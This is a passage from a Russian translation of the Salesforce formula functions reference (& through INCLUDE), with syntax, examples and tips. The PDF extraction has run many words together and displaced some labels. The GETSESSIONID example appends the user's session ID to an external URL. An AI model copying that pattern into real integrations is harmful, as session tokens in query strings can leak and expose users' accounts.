Rate cannot exceed 40%".

& (объединение)

Данный оператор связывает как минимум две строки.Описание:

строка1&строка2 и замените каждую строку полями слияния, выражениями или другими
значениями.

Использование:

"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

Даннаяформулаотображает текст Expense-, за которымследуютполя Trip Name и Expense
Number. Данное поле формулы является текстовым и использует настраиваемое поле
Expense Number.

Пример:

ABS

Данная функция вычисляет абсолютное значение числа. Абсолютное значение — это
число без знака плюса или минуса.

Описание:

ABS(число) и замените число полем слияния, выражением или другим числовым
значением, содержащим знак, который должен быть удален.

Использование:
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Формула ABS(ExpectedRevenue) вычисляет положительное значение стоимости
Expected Revenue, независимо от того, является она положительной или
отрицательной.

Пример:

AND

Данная функция возвращает значение «ИСТИНА», если все значения являются
истинными, или значение «ЛОЖЬ», если какминимумодно значение является ложным.
Рекомендуем использовать даннуюфункцию как альтернативу оператору && (И).

Описание:

AND(логическое_значение1,логическое_значение2,...) и замените
логическое_значение1,логическое_значение2,... значениями, которыедолжныбытьоценены.

Использование:

IF(AND(Price<1,Quantity<1),"Small", null)

Данная формула отображает значение Small, если цена и количество не превышают
единицы. В противном случае данное поле отображается пустым.

Пример поляформулы:

BEGINS

Данная функция определяет текст, начинающийся с конкретных символов, и, в случае
истинности, возвращает значение «ИСТИНА». Впротивномслучаевозвращает значение
«ЛОЖЬ».

Описание:

BEGINS(текст, текст_сопоставления) изамените текст, текст_сопоставления символами
или полями, которые должны быть сопоставлены.

Использование:

IF(BEGINS (Product_type__c, "ICU"), "Medical", "Technical")

Данный пример возвращает текст Medical, если текст любого настраиваемого поля
Product Type начинается с элемента ICU. Длявсехостальныхпродуктовотображается
значение Technical.

Пример:

Советы: • Данная функция чувствительна к регистру, поэтому значение текста_сопоставления
должно использовать правильный регистр.

• Если данная функция используется в правиле проверки или бизнес-правиле, то
пустые поля считаются действительными. Например, при использовании правила
проверки, тестирующегосерийныеномера активовнаналичиезначения «3» вначале
номера, все активы с пустыми серийными номерами считаются действительными.

BLANKVALUE

Даннаяфункцияопределяетналичие значениядля выраженияи, в случае егоотсутствия,
возвращает выражение замены. При наличии значения функция возвращает значение
выражения.

Описание:
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BLANKVALUE(выражение, выражение_замены) изамените выражение выражением, которое
должно быть оценено; замените выражение_замены значением, которое должно заменять
любые пустые значения.

Использование:

Пример 1.

BLANKVALUE(Department, “Undesignated”)

Пример:

Данная формула возвращает значение поля Department, если поле Department
содержит значение. В противном случае данная формула возвращает слово
Undesignated.

Пример 2.

(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

Данная формула возвращает дату через пять дней после даты начала контракта, если
поле Payment Due Date содержит пустое значение. Поле Payment Due Date
является настраиваемым полем даты.

Советы: • РекомендуемиспользоватьфункциюBLANKVALUEвместофункцииNULLVALUEвновых
формулах. Функция BLANKVALUE аналогична функции NULLVALUE, но поддерживает
текстовые поля. Изменение текущих формул не требуется, так как система Salesforce
не отменяет поддержку функции NULLVALUE.

• Поле, содержащее символ, пробел или нулевое значение, считается заполненным.
Например, поле, содержащее пробел, вставленный посредством клавиши пробела,
считается заполненным.

• РекомендуемиспользоватьфункциюBLANKVALUEдля возврата заданнойстроки, если
поле не содержит значения, а функцию ISBLANK для проверки наличия значения в
поле.

• Еслиданнаяфункцияиспользуетсясчисловымполем, тофункциявозвращаеттолько
заданную строку, если поле не содержит значения и не поддерживает обработку
пустых полей в качестве нулевых.

BR

Данная функция вставляет разрыв в текстовую строку.Описание:

BR()Использование:

CASE(ShippingCountry,
"USA",

Пример:

ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,

"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
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ShippingCity & BR() &
ShippingCountry, "etc")

Данное поле формулы отображает отформатированный почтовый адрес контакта в
стандартномформате, включаяпробелыиразрывыстроквсоответствиисрегиональными
настройками.

Советы: • Запрещается удалять скобки, используемые после имени функции.

• Запрещается заполнять скобки содержимым. Скобки должны быть пустыми.

• Функция BR() должна быть окружена операторами конкатенации: &.

• Запрещается использовать даннуюфункцию вшаблонах стандартных писем.

• Даннаяфункциянедоступна в настраиваемых кнопкахи ссылках, элементах S-Control
или отчетах.

CASE

Данная функция проверяет заданное выражение относительно последовательности
значений. Если выражение равно значению, тофункция возвращает соответствующий
результат. В противном случае функция возвращает значение другой_результат.

Описание:

CASE(выражение,значение1, результат1, значение2, результат2,..., другой_результат)
изамените выражение полемилизначением, котороедолжнобыть сопоставленос каждым

Использование:

заданнымзначением. Замените каждое значениеирезультат значением, которое должно
бытьэквивалентнымдлявозврата записирезультата. Замените другой_результат значением,
котороедолжнобытьвозвращено, есливыражениенесоответствуетниодномузначению.

Продолжительность открытых обращений

Рекомендуемиспользоватьданныйпримернастраиваемогополяформулы Days Open
для отображения разного текста в зависимости от количества дней, в течение которого
обращение было открыто.

CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

Пример поляформулы:

Ниже перечислены отображаемые значения.

• Reassign: любое обращение, открытое три дня.

• Assign Task: любое обращение, открытое два дня.

• Maintain: все остальные обращения.

Месяц последнего действия

Данное полеформулы отображает месяц последнего действия или значение None, если
действия отсутствуют.

CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
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4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

Размер скидки

Рекомендуем использовать следующуюформулу стандартного значения для вставки
разных размеров скидки по возможности на основе отдела, связанного с автором
возможности:

CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

Пример стандартного
значения:

Данный пример использует формулу, которая устанавливает скидку размером 25% для
любой возможности, созданной пользователем отдела IT, или скидку размером 15% для
любой возможности, созданной пользователем отдела Field. Если автор возможности
относится к другому отделу, то применяется нулевая скидка. Данное поле является
настраиваемымпроцентнымполемвозможностей, котороеиспользует стандартноеполе
пользователя Department.

Язык продукта

Продукт может быть связан с языком, чтобы пользователи могли определять тип
документации или адаптера, который должен быть добавлен в продукт. Рекомендуем
использоватьследующуюформулустандартногозначениядляавтоматическойнастройки
языка продукта на основе страны проживания его автора. Данный пример использует
стандартное значение Japanese для страны Japan и значение English для страны US. В
противномслучаеполе Product Language содержитстандартное значение unknown.

CASE($User.Country , "Japan", "Japanese", "US",
"English","unknown")

Советы: • Выражения значение1, значение2... должны использовать одинаковый тип данных.

• Выражения результат1, результат2... должны использовать одинаковый тип данных.

• Функции CASE не могут содержать функции, возвращающие значение «истина» или
«ложь». Истинные или ложные выражения должны возвращать числа. Например:

CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)

Поле Term, используемое данной формулой, является полем раскрывающегося
списка, которое умножаетсянаполе Monthly Commit, еслионосодержит значение «1»,
соответствующее значению «истина».

• Значение другой_результат является обязательным.
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• Функции CASE возвращаютошибку, еслиошибка возвращаетсялюбымвыражением,
независимо от того, что должно быть возвращено. Например, функция
CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c,
-5)) возвращает ошибку, если поле содержит значение Partner или Customer, так
как последний оператор является нелогичным.

• Функция CASE, содержащая пустое поле, возвращает значение другой_результат.
Например, данная формула: CASE(Days_Open__c, 3, "Reassign", 2,
"Assign Task", "Maintain") отображает значение Maintain, еслиполе Days
Open содержитпустое, нулевоеилилюбое другое значение, кроме значения «2» или
«3».

• Рекомендуем использовать функции CASE для определения значений
раскрывающегося списка, равных отдельному значению. Например, формула
CASE(Term__c, "12", 12 * Monthly_Commit__c, "24", 24 *
Monthly_Commit__c, 0) умножает стоимость Monthly Commit на «12», если
поле Term содержит значение «12», или умножает стоимость Monthly Commit
на «24», если поле Term содержит значение «24». В противном случае возвращается
нулевое значение.

CASESAFEID

Данная функция преобразует 15-значный код в 18-значный код, нечувствительный к
регистру.

Описание:

CASESAFEID(код) и замените код кодом объекта.Использование:

CASESAFEID (Id)
Пример:

Данная формула заменяет 15-значный код 18-значным кодом, нечувствительным к
регистру.

Советы: • Преобразованные 18-значные коды отличаются большей совместимостью с
приложением Excel.

• Функция CASESAFEID доступна во всех компонентах, позволяющих определять
формулу, кроме отчетов и элементов S-Control.

CEILING

Данная функция округляет число в большую сторону.Описание:

CEILING(число) и замените число полем или выражением, которое должно быть
округлено.

Использование:

Округление в большую сторону (литеральное значение)

CEILING(2.5)

Пример:

Данная формула возвращает значение «3», до которого округлено значение «2,5».
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Магнитуда землетрясения

Формула CEILING(Magnitude__c) возвращает значениечисловогополяформулы,
округляющей магнитуду землетрясения в большую сторону.

CONTAINS

Даннаяфункция сравнивает два текстовых аргумента и, если первый аргумент содержит
второй аргумент, возвращает значение «ИСТИНА». В противном случае возвращает
значение «ЛОЖЬ».

Описание:

CONTAINS(текст, текст_сопоставления) изамените текст текстом, содержащимзначение
текста_сопоставления.

Использование:

IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")
Пример:

Даннаяформулапроверяетсодержимоенастраиваемоготекстовогополя Product_Type
и возвращает значение Parts для любогопродукта, содержащего слово part. Впротивном
случае возвращается значение Service. Обратите внимание, что значения чувствительны
к регистру, поэтому, если поле Product_Type содержит значение Part или PART, то
данная формула возвращает значение Service.

Советы: • Данная функция чувствительна к регистру, поэтому значение текста_сопоставления
должно использовать правильный регистр.

• Если данная функция используется в правиле проверки или бизнес-правиле, то
пустые поля считаются действительными. Например, при использовании правила
проверки, тестирующего серийные номера активов на наличие значения «А», все
активы с пустыми серийными номерами считаются действительными.

• Функция CONTAINS не поддерживает раскрывающиеся списки со множественным
выбором. Чтобы определить наличие конкретного значения в раскрывающемся
списке со множественным выбором, воспользуйтесь функцией INCLUDES.

DATE

Данная функция возвращает значение даты на основе введенных значений года, месяца
и дня. Система Salesforce отображает ошибку на странице сведений, если значение

Описание:

функции DATE, используемое вполеформулы, являетсянедопустимойдатой (например,
29 февраля невисокосного года).

DATE(год,месяц,день) изамените год четырехзначнымгодом, месяц двухзначныммесяцем
и день двухзначным днем.

Использование:

Функция DATE(2005, 01, 02) создает поле даты со значением «2 января 2005 года».Пример:
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DATEVALUE

Даннаяфункциявозвращает значениедатыдля выражениядаты/времениилитекстового
выражения.

Описание:

DATEVALUE(выражение) и замените выражение датой/временем, текстовым значением,
полем слияния или выражением.

Использование:

Дата закрытия

Функция DATEVALUE(ClosedDate) отображает поле даты на основе значения поля
Date/Time Closed.

Пример:

Значение даты

Функция DATEVALUE("2005-11-15") возвращаетзначениедаты «15 ноября 2005 года».

Советы: • Если функция содержит недействительное текстовое поле или поле даты/времени,
то формула отображает значение #ОШИБКА!.

• При вводе даты рекомендуем использовать кавычки и следующийформат:
ГГГГ-ММ-ДД (то есть, четыре цифры для года и по две цифры для месяца и дня).

• Если выражение не соответствует допустимому диапазону дат (например, месяц
обозначается числом вне диапазона 01-12), то поле формулы отображает значение
#ОШИБКА!.

• При вычислении дат и времени всегда используется часовой пояс пользователя.

DATETIMEVALUE

Данная функция возвращает значение года, месяца, дня и времени по Гринвичу.Описание:

DATETIMEVALUE(выражение) изамените выражение датой/временем, текстовымзначением,
полем слияния или выражением.

Использование:

Дата закрытия

DATETIMEVALUE(ClosedDate) отображает поле даты на основе значения поля
Date/Time Closed.

Пример:

Значение даты

Функция DATETIMEVALUE("2005-11-15 17:00:00") возвращает значение даты
и времени «15 ноября 2005 года 17:00 GMT».

Советы: • Функция DATETIMEVALUE всегда возвращает значение по Гринвичу и не может быть
изменена.

• Привводеконкретнойдатырекомендуемиспользоватькавычкииследующийформат:
ГГГГ-ММ-ДД (то есть, четыре цифры для года и по две цифры для месяца и дня).

• Если выражение не соответствует допустимому диапазону дат (например, месяц
обозначается числом вне диапазона 01-12), то поле формулы отображает значение
#ОШИБКА!.
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DAY

Данная функция возвращает день месяца в виде числа от 1 до 31.Описание:

DAY(дата) и замените дату полем даты или значением (например, TODAY().Использование:

Функция DAY(Code_Freeze__c) возвращает день настраиваемой даты запрета
изменения кода. Обратите внимание, данная функция не поддерживается полями
даты/времени.

Пример:

DISTANCE

Данная функция вычисляет расстояние между двумя местоположениями в милях или
километрах.

Описание:

DISTANCE(местоположение1, местоположение2, 'единица измерения') и замените
местоположение1 и местоположение2 двумя полями местоположения или полем

Использование:

местоположенияи значением, возвращеннымфункциейGEOLOCATION. Замените единицу
измерения милями (mi) или километрами (km).

Расстояние между двумя полями геолокацииПримеры:

DISTANCE(warehouse_location__c, store_location__c, 'mi')

Данная формула возвращает расстояние (в милях) между складом и магазином. Данный
пример использует warehouse_location__c и store_location__c как имена
двух настраиваемых полей геолокации.

Расстояние между полем адреса и полем геолокации

DISTANCE(BillingAddress, store_location__c, 'mi')

Даннаяформула возвращает расстояние (вмилях) между адресомдля счета организации
и магазином. Данный пример использует BillingAddress как стандартное поле
адреса для счета организации, а store_location__c как имя настраиваемого поля
геолокации.

Расстояние между настраиваемым полем геолокации ификсированными
координатами

DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418),
'km')

Даннаяформула возвращает расстояние (в километрах) между складом и координатами
37,775° по широте и -122,418° по долготе (Сан-Франциско).

Расстояния с условиями

IF(DISTANCE(warehouse_location__c, ShippingAddress, 'mi')<10,
"Near", "Far")

Даннаяформулаобновляеттекстовоеполеформулызначением «Near», еслирасстояние
междускладомисоставнымполемадресаотправкиорганизациисоставляетменее 10 миль.
В противном случае, данная формула обновляет текстовое поле значением «Far».
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Совет: Несмотря на возможность вычисления функции DISTANCE в милях или
километрах, отображениеединицыизмерениянеподдерживается. Чтобыупростить
процесс определения используемой единицы измерения (мили или километры),
добавьте нужную единицу измерения в имя поля формулы.

Советы: • Функция DISTANCE возвращаеттипданных «Число». Несмотрянаприменениеградусов,
минут и секунд в пользовательском интерфейсе, расстояние всегда вычисляется в
виде десятичных чисел. Укажите количество знаков после запятой, которое должно
отображаться при создании настраиваемого поля.

• Функция DISTANCE неподдерживаетсяотчетами, номожетиспользоватьсяв списковых
представлениях. Чтобы применить функцию DISTANCE в отчетах, настройте поле
формулы и дополните отчеты ссылкой на нужное поле.

• Функция DISTANCE является единственной, которая может использовать параметры
GEOLOCATION.

• Ниже перечислены ограничения по использованиюфункции DISTANCE.

– Функция DISTANCE поддерживает только логические операторы > и <, возвращая
значения внутри (<) или за пределами (>) заданного радиуса.

– Независимоотгеографическихитопографическихособенностей, существующих
между двумя точками, расстояние вычисляется только по прямой линии.

Дополнительную информацию см. в разделе «Порядок вычисления и сравнения
расстояний посредством SOQL» Справочного руководства по Force.com SOQL и SOSL.

EXP

Данная функция возвращает значение для экспоненты заданного числа.Описание:

EXP(число) и замените число числовым полем или значением (например, 5).Использование:

Экспонент литерального значения

EXP(3)

Пример:

Данная формула возвращает значение E в третьей степени.

Сложный процент

Principal__c * EXP(Rate__c * Years__c)

Данная формула вычисляет сложный процент на основе настраиваемого поля валюты
дляобщейсуммы, настраиваемогополяпроцентовдляставкиинастраиваемогочислового
поля для количества лет.

FIND

Даннаяфункция возвращаетпозициюстрокивнутритекстовойстроки, представленной
в виде числа.

Описание:
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FIND(текст_поиска, текст[, начальный_номер]) и замените текст_поиска строкой,
которую необходимо найти; замените текст полем или выражением, которое должно

Использование:

использоватьсядляпоиска; замените начальный_номер номеромсимвола, которыйдолжен
использоваться для начала поиска слева направо.

Улица

Функция FIND(" ", Street) возвращаетпозициюпервогопробелавполе Street.
Данноечисломожетиспользоватьсядляопределениядлиныуличногоадресакаксредство
разделения уличного адреса и названия улицы в адресном поле.

Пример:

Извлечение адресов веб-сайтов

Функция SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.")
определяетместоположениесимвола @ в адресе эл. почтыпользователядляограничения
длинытекста, которыйдолженбытьзамененкомпонентом www. каксредствомизвлечения
адреса веб-сайта.

Советы: • Прежде чем проверить формулу, рекомендуем удалить квадратные скобки [ и ].

• Если параметр текст содержит пустое поле, то поле формулы отображает нулевое
значение.

• Параметр текст_поиска чувствителен к регистру и не может содержать специальных
символов.

• В случае отсутствия результатов поиска поле отображает нулевое значение.

• Параметр начальный_номер являетсядополнительным. Еслипараметр начальный_номер
не содержит значения, то формула использует значение «1» или первый символ
строки.

• Еслипараметр начальный_номер содержитотрицательноезначение, тополеотображает
нулевое значение.

• Еслипараметр начальный_номер превышает длину текста, тополеотображаетнулевое
значение.

• При вводе параметра начальный_номер помните, что некоторые поля (например,
«Веб-сайт») являются уникальными, так как компонент http:// автоматически
добавляется в начало введенного текста.

• Обратите внимание, что первым символом строки считается единица, а не ноль.

FLOOR

Данная функция округляет число в меньшую сторону.Описание:

FLOOR(число) и замените число числовым полем или значением (например, 5,245).Использование:

Суммы комиссии

Функция FLOOR(commission__c) округляет комиссию в меньшую сторону.

Пример:
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GEOLOCATION

Даннаяфункциявозвращает геолокациюнаоснове заданнойширотыидолготы. Данная
функция должна использоваться совместно с функцией DISTANCE.

Описание:

GEOLOCATION(широта, долгота) и замените широту и долготу соответствующими
значениями числового кода геолокации.

Использование:

Расстояние между настраиваемым полем геолокации ификсированными
координатами

Примеры:

DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418),
'km')

Даннаяформула возвращает расстояние (в километрах) между складом и координатами
37,775° по широте и -122,418° по долготе (Сан-Франциско).

Советы: • Функция GEOLOCATION возвращает тип данных «Местоположение», который может
и должен использоваться только функцией DISTANCE. Функция GEOLOCATION не
используется сама по себе.

GETRECORDIDS

Даннаяфункция возвращает массив строк в виде кодов записей для выбранных записей
списка (например, списковое представление или связанный список).

Описание:

{!GETRECORDIDS(тип_объекта)} и замените тип_объекта ссылкой на настраиваемый
или стандартный объект для записей, которые должны быть извлечены.

Использование:

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{!GETRECORDIDS($ObjectType.Sample)}; var

Пример настраиваемой
кнопки:

newRecords = []; if (records[0] == null) { alert("Please select
at least one row") } else {

for (var n=0; n<records.length; n++) { var c =
new sforce.SObject("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update(newRecords); window.location.reload(); }

Данный пример обновляет все выбранные записи обращений, поле Status которых
содержит значение New. Чтобы настроить даннуюфункцию в организации, создайте
настраиваемую кнопку списка для обращений со следующими атрибутами:

• «Тип отображения»: «Кнопка списка»

• «Алгоритм»: «Выполнить JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

Вставьтеобразецкода вышев содержимоенастраиваемойкнопки. Затемдобавьте кнопку
списка в макет страницы, содержащий связанный список «Обращения» (например,
организации или возможности). Пользователи могут выбирать любое количество
обращенийвсвязанномспискеинажиматькнопкуспискадляодновременногоизменения
статуса этихобращений. Убедитесьвналичииусловия records[0] == null, которое
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отображает пользователям сообщение о необходимости выбора как минимум одной
записи из списка.

Советы: • Чтобы получить доступ к специальным полям слияния для элементов S-Control,
настраиваемых кнопок и ссылок, воспользуйтесь глобальными переменными.

• Действия — это специальные типы объектов. Рекомендуем использовать
{!GETRECORDIDS($ObjectType.Task)} при создании кнопки списка задач. Рекомендуем
использовать {!GETRECORDIDS($ObjectType.Event)} присозданиикнопкиспискасобытий.

• Данная функция доступна только в настраиваемых кнопках, ссылках и элементах
S-Control.

GETSESSIONID

Данная функция возвращает код сеанса пользователя.Описание:

GETSESSIONID()Использование:

HYPERLINK
("https://www.myintegration.com?sId="&

Пример:

GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create
a Meeting Request")

Данная функция создает ссылку на приложение вне системы Salesforce, передавая
параметры для подключения к системе Salesforce посредством API и создания нужного
события.

Советы:
Важное замечание: $Api.Session_ID  and GETSESSIONID()  return the same
value, an identifier for the current session in the current context. This context varies depending
on where the global variable or function is evaluated. For example, if you use either in a
custom formula field, and that field is displayed on a standard page layout in Salesforce
Classic, the referenced session will be a basic Salesforce session. That same field (or the
underlying variable or formula result), when used in a Visualforce page, references a Visualforce
session instead.

Session contexts are based on the domain of the request. That is, the session context changes
whenever you cross a hostname boundary, such as from .salesforce.com  to
.visual.force.com  or .lightning.force.com.

Session identifiers from different contexts, and the sessions themselves, are different. When
you transition between contexts, the old session is replaced by the new one, and the old
session is no longer valid. The session ID also changes at this time.

Normally Salesforce transparently handles session hand-off between contexts, but if you’re
passing the session ID around yourself, be aware that you might need to re-access
$Api.Session_ID  or GETSESSIONID()  from the new context to ensure a valid
session ID.

Note also that not all sessions are created equal. In particular, sessions obtained in a Lightning
Experience context have reduced privileges, and don't have API access. You can't use these
session IDs to make API calls.
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HTMLENCODE

Даннаяфункциякодирует значениятекстовыхполейиполейслияниядляиспользования
в HTML путем замены символов, зарезервированных в HTML (например, символ ">"),
эквивалентами объекта HTML (например, &gt;).

Описание:

{!HTMLENCODE(текст)} и замените текст полем слияния или текстовой строкой,
содержащей зарезервированные символы.

Использование:

Если поле слияния foo__c содержит текст <B>Enter the user's name<b>, то
функция {!HTMLENCODE(foo__c)} возвращает следующее значение:
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

Пример:

Даннаяфункцияподдерживается тольконастраиваемымикнопкамии ссылками, а также
Visualforce.

Советы:

HYPERLINK

Данная функция создает ссылку на указанный URL-адрес, используемый указанным
текстом.

Описание:

HYPERLINK(url-адрес, дружественное_имя [,цель]) изамените url-адрес веб-адресом;
замените дружественное_имя текстом ссылки; при необходимости замените цель окном
или рамкой для отображения содержимого.

Использование:

Создание событий

HYPERLINK("00U/e?
retURL=%2F006x0000001T8Om&what_id="

Пример:

& Id,
"Create Event")

добавляетссылку Create Event, привыборекоторойсоздаетсясобытие, связанноестекущим
объектом.

Номеронабиратель

HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone,
Phone)создает поле номера телефона, доступное для ссылки, которое автоматически
набирает номер телефона при нажатии. Замените поля servername и call именем
номеронабирателяииспользуемойкомандой. Полеслияния Id вставляетидентификатор
записи контакта, интереса или организации. Первое поле слияния Phone передает
номеронабирателю нужный номер для набора; последнее поле слияния Phone
использует значение поля Phone как текст, при нажатии которого набирается номер.

Советы: • Формула гиперссылки использует текстовые поля.

• Протокол и URL-адрес должны быть окружены кавычками (например,
HYPERLINK("http://www.cnet.com", "cnet")).

• Запрещается применять текстовые функции (например, LEN, LEFT или RIGHT) к
результатам функции HYPERLINK.
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• При создании ссылок на страницы Salesforce рекомендуем использовать
относительныессылки (например, 00U/e?retURL=%...) дляформул гиперссылок, кроме
случаев добавления поля формулы в макет поиска. При добавленииформулы
гиперссылки в макет поиска рекомендуемиспользовать полные URL-адреса, включая
имя сервера и префикс https://. Обратите внимание, что поля формулы недоступны
в макетах результатов поиска.

• Рекомендуем использовать переменную $Api для обращения к URL-адресам API.

• Прежде чем проверить формулу, рекомендуем удалить квадратные скобки [ и ].

• Параметр цель является дополнительным. Если параметр цель не задан, то ссылка
открывается в новом окне обозревателя. Ниже перечислены некоторые общие
параметры цель.

_blank
Отображение ссылки в новом безымянном окне.

_self
Отображение ссылки в том же окне или рамке в виде ссылочного элемента.

_parent
Отображениессылкивнепосредственномродительскомнаборерамокдлятекущей
рамки. Данное значение соответствует значению _self, если текущая рамка не
имеет родителя.

_top
Отображение ссылки в полном исходном окне и закрытие всех других рамок.
Данное значение соответствует значению _self, если текущая рамка не имеет
родителя.

Дополнительную информацию об основных HTML-тегах см. в веб-ресурсах,
посвященных вопросам HTML.

• Функция HYPERLINK доступнавовсехкомпонентах, позволяющихопределятьформулу,
кроме значений по умолчанию, обновлений полей, элементов S-Control, правил
проверки, процессов утверждения, настраиваемых кнопок и ссылок, а также
бизнес-правил.

СМ. ТАКЖЕ:

Операторы и функцииформулы (I – Z)

Операторы и функцииформулы

Операторы и функции формулы (I – Z)

Ниже перечислены операторы ифункции, доступные для созданияформул. Чтобыпросмотреть сведения об операторе
или функции, щелкните соответствующее имя. Если не указано иное, то все функции доступны во всех компонентах,
поддерживающих использование формул (например, поля формулы, правила проверки, процессы утверждения и
бизнес-правила).

Прим.: Лишние пробелы в примерах ниже пропускаются.
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IF

Данная функция определяет истинность или ложность выражений. Если выражение
истинно, то функция возвращает заданное значение. В противном случае функция
возвращает другое значение.

Описание:

IF(логическая_проверка, значение_если_истина, значение_если_ложь) и замените
логическая_проверка выражением, которое должно быть оценено; замените

Использование:

значение_если_истина значением, которое должно быть возвращено в случае истинности
выражения; замените значение_если_ложь значением, которое должно быть возвращено в
случае ложности выражения.

Просроченные платежи

IF(AND(Payment_Due_Date__c < TODAY(),Payment_Status__c ="UNPAID")
, "PAYMENT OVERDUE", null)

Пример поляформулы:

Даннаяформулаопределяетплатежиспрошедшимкрайнимсрокомистатусомплатежа
UNPAID. Если выражение истинно, формула возвращает значение PAYMENT OVERDUE. В
противном случае формула возвращает пустое поле. Данный пример использует
настраиваемое поле даты Payment Due Date и настраиваемое текстовое поле
Payment Status.

Вставка размера налога

Рекомендуем использовать даннуюформулу стандартного значения для настройки
размера налога по активу на основе города пользователя. Создайте настраиваемое поле
процентов со следующим стандартным значением:

IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

{!
IF(Sample.BillingCountry = "US",

Пример настраиваемой
кнопки:

"http://maps.google.com/maps?q="&Sample.BillingStreet&
"+"&Sample.BillingCity&"+"&Sample.BillingState&"+
"&Sample.BillingCountry,
(IF(Sample.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q="&Sample.BillingStreet
&"+"&Sample.BillingCity&"+"&Sample.BillingCountry,
"http://maps.google.com")))
}

Данный пример использует функцию IF для определения адреса пользователя (US или
UK) и его отображения посредством соответствующего типа карты Google.
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Советы: • Выражения значение_если_истина и значение_если_ложь должныиспользоватьодинаковый
тип данных.

• Если функция IF используется совместно с переменной $Profile.UserType для
определения типа лицензии Salesforce, принадлежащей зарегистрированному
пользователю, рекомендуем воспользоваться следующими значениями:

– Standard для Salesforce

– PowerPartner для пользователя PRM

– CustomerSuccess для пользователя клиентского портала

– PowerCustomerSuccess для менеджера клиентского портала

Например, чтобы определить наличие заданных лицензий у зарегистрированного
пользователя, воспользуйтесь формулами ниже.

IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)

Прим.: Поля слияния $Profile доступны только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition.

IMAGE

Даннаяфункция вставляет изображение с альтернативным текстом и заданной высотой
илишириной.

Описание:

IMAGE(url_изображения, альтернативный_текст, высота, ширина) и замените
url_изображения полнымпутемкизображению; замените альтернативный_текст текстовой

Использование:

строкой, котораядолжнаотображатьсявслучаеотсутствияизображенияиобрабатываться
программой чтения с экрана; замените высоту размером изображения по вертикали (в
пикселах), а ширину — размером изображения по горизонтали (в пикселах).

HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c &
"&m;=g&t;=0", "Yahoo"))

Данная формула отображает гиперактивный значок Yahoo! Messenger, указывающий на
входпользователяв службу. Принажатиизначка Yahoo! Messenger открываетсядиалоговое

Пример:

окно. Данный пример использует настраиваемое текстовое поле контактов Yahoo
Name, позволяющее сохранять код Yahoo! Messenger контакта.

Советы: • Параметры высота и ширина являются дополнительными.

• Параметры url_изображения и альтернативный_текст должны заменяться текстовой
строкой. Все текстовые строки должны быть окружены кавычками.

• Параметры высота и ширина должны заменяться числами.
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• Чтобы предоставить доступ к изображениям в других областях системы, добавьте
изображения на вкладку «Документы». Например, сохраните изображение продукта
в папке документов, скопируйте и вставьте URL-адрес документа в параметр
url_изображения, используемый полем формулы на вкладке «Продукты».

• Прииспользованииобозревателя Internet Explorer рекомендуемизменить параметры
безопасности, чтобы блокировать предупреждение, отображающееся при
использованиипротокола HTTP в изображениях. Дополнительнуюинформациюоб
изменении параметров безопасности см. в интерактивной справке Internet Explorer.

• Функция IMAGE не может содержать функцию GETSESSIONID в качестве одного из
своих аргументов.

• Функция IMAGE доступна только в полях формулы ишаблонах эл. почты.

INCLUDE

Даннаяфункциявозвращаетсодержимоефрагмента S-Control. Рекомендуемиспользовать
даннуюфункцию для повторного использования общего кода в разных элементах
S-Control.

Описание:

{!INCLUDE(источник, [входные_данные])} и замените источник нужнымфрагментом
S-Control. Замените входные_данные любойинформацией, которая должна быть передана
во фрагмент.

Использование:

Включениефрагмента верхнего колонтитула

<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My
Title",

theme = "modern"])} </body> </html>

Примерэлемента S-Control:

Данный пример ссылается на фрагмент, соответствующий верхнему колонтитулу
страницы, созданной для отображения на веб-вкладке. Данный пример отображает
заголовокстраницы My Title. Рекомендуемиспользоватьглобальнуюпеременную $SControl
для обращения к настраиваемому элементу S-Control.

Включение входных параметров

Рекомендуем использовать следующие два примера для просмотра способов создания
многоразового фрагмента и его добавления в элемент S-Control.

<h2
class=”{!$Request.titleTheme}.title”>

{!$Request.titleText}</h2>

Данныйфрагмент требует наличия двух входных параметров: titleTheme и
titleText. Данные параметры являются многоразовыми HTML-тегами,
соответствующими заголовку и теме страницы на основе входных параметров. Затем
создайте элемент S-Control, содержащий следующийфрагмент:

<html> <head> </head> <body> {!
INCLUDE($SControl.Title_Snippet, [titleTheme =

"modern", titleText = "My Sample Title"]) } ... Insert your page
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specific content
here ... </body> </html>

Данный элемент S-Control используетфрагмент Title_Snippet для отображения заголовка
страницы My Sample Title и темы modern. Замените текст Insert your page
specific content here собственным HTML-содержимым и воспользуйтесь
элементом S-Control в качествеисточника веб-вкладкидля создания собственныхстраниц
Salesforce.

